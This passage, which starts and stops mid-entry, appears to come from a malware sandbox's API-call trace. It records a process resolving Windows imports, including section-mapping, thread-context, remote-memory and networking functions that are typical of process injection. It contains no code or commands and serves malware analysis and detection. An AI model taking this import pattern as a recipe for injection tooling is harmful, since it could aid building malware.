BaseAddress=0x7fffefc70000, Name="GetMappedFileNameA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefc713e0) returned 0x0 [0140.394] LdrGetProcedureAddress (in: BaseAddress=0x7fffefc70000, Name="GetModuleFileNameExA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefc71410) returned 0x0 [0140.394] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SHLWAPI.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffedee0000) returned 0x0 [0140.933] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="PathRemoveArgsA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef7a40) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="PathRemoveBlanksW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeed730) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="PathRemoveArgsW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeec0c0) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrChrW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeea6d0) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrCmpNIW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeed630) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrTrimW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeed2f0) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrRChrW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedeee0f0) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrChrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef5b60) returned 0x0 [0140.934] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrRChrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef5c70) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="PathStripPathA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef5900) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="StrDupA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef5c30) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7fffedee0000, Name="PathRemoveBlanksA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffedef5880) returned 0x0 [0140.935] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7ffff07a0000) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0836740) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="_wcsnicmp", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0836c60) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="_strnicmp", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0836730) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845400) returned 0x0 [0140.935] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtQueryInformationFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0844f60) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtQueryObject", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0844f40) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="RtlEqualUnicodeString", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07b4de0) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="RtlCompareUnicodeString", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07cecd0) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="RtlInitUnicodeString", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07bced0) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0838e80) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtResumeProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff08479b0) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtSuspendProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0848170) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtSetContextThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0847b70) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtGetContextThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff08469b0) returned 0x0 [0140.936] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845060) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07e8840) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0844f20) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845280) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845240) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845680) returned 0x0 [0140.937] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0835700) returned 0x0 [0140.938] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="memset", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff084b580) returned 0x0 [0140.938] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff084b240) returned 0x0 [0140.938] LdrGetProcedureAddress (in: BaseAddress=0x7ffff07a0000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0845000) returned 0x0 [0140.938] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="WS2_32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7ffff0540000) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name="WSAStringToAddressW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0541030) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x74, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0555b80) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x73, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0554160) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0555b50) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x17, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054ea00) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x16, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0551460) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x15, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054e4b0) returned 0x0 [0140.944] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054cb60) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x12, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054e720) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x10, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054dd90) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0554a30) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0xa, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054f920) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x4, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0550420) returned 0x0 [0140.945] LdrGetProcedureAddress (in: BaseAddress=0x7ffff0540000, Name=0x0, Ordinal=0x3, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff054cde0) returned 0x0 [0140.945] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="CRYPT32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffed940000) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CertGetNameStringW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed97d9d0) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CertFreeCertificateContext", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed98e150) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CertFindCertificateInStore", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed965640) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CertCloseStore", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed987a10) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CryptMsgGetParam", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed974e30) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CryptMsgClose", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed98e3f0) returned 0x0 [0141.032] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CryptDecodeObject", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed9772c0) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffed940000, Name="CryptQueryObject", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffed98fff0) returned 0x0 [0141.033] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffefeb0000) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd7f0) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed2230) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed4810) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed0b80) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed7550) returned 0x0 [0141.033] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed74d0) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb4a0) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd6a0) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed4c90) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3a90) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb7c0) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff080ced0) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07ce600) returned 0x0 [0141.034] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07ceb00) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07f99d0) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3690) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed45d0) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed0c60) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb730) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecd6c0) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6d30) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6bb0) returned 0x0 [0141.035] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeda250) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecd6d0) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="MultiByteToWideChar", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecd500) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb490) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecdd10) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd900) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed28c0) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed32a0) returned 0x0 [0141.036] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VirtualAllocEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeda400) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeceb80) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd840) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedda90) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb460) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddc60) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6e30) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3710) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb7a0) returned 0x0 [0141.037] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="TerminateThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed7250) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb4c0) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd810) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd7c0) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed8cf0) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetUnhandledExceptionFilter", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6ea0) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetErrorMode", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3ac0) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd820) returned 0x0 [0141.038] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd6e0) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="IsBadStringPtrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefef4930) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3530) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetVersionExA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed7450) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb480) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07c39f0) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff07c52d0) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed90c0) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed72b0) returned 0x0 [0141.039] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3d40) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd650) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: 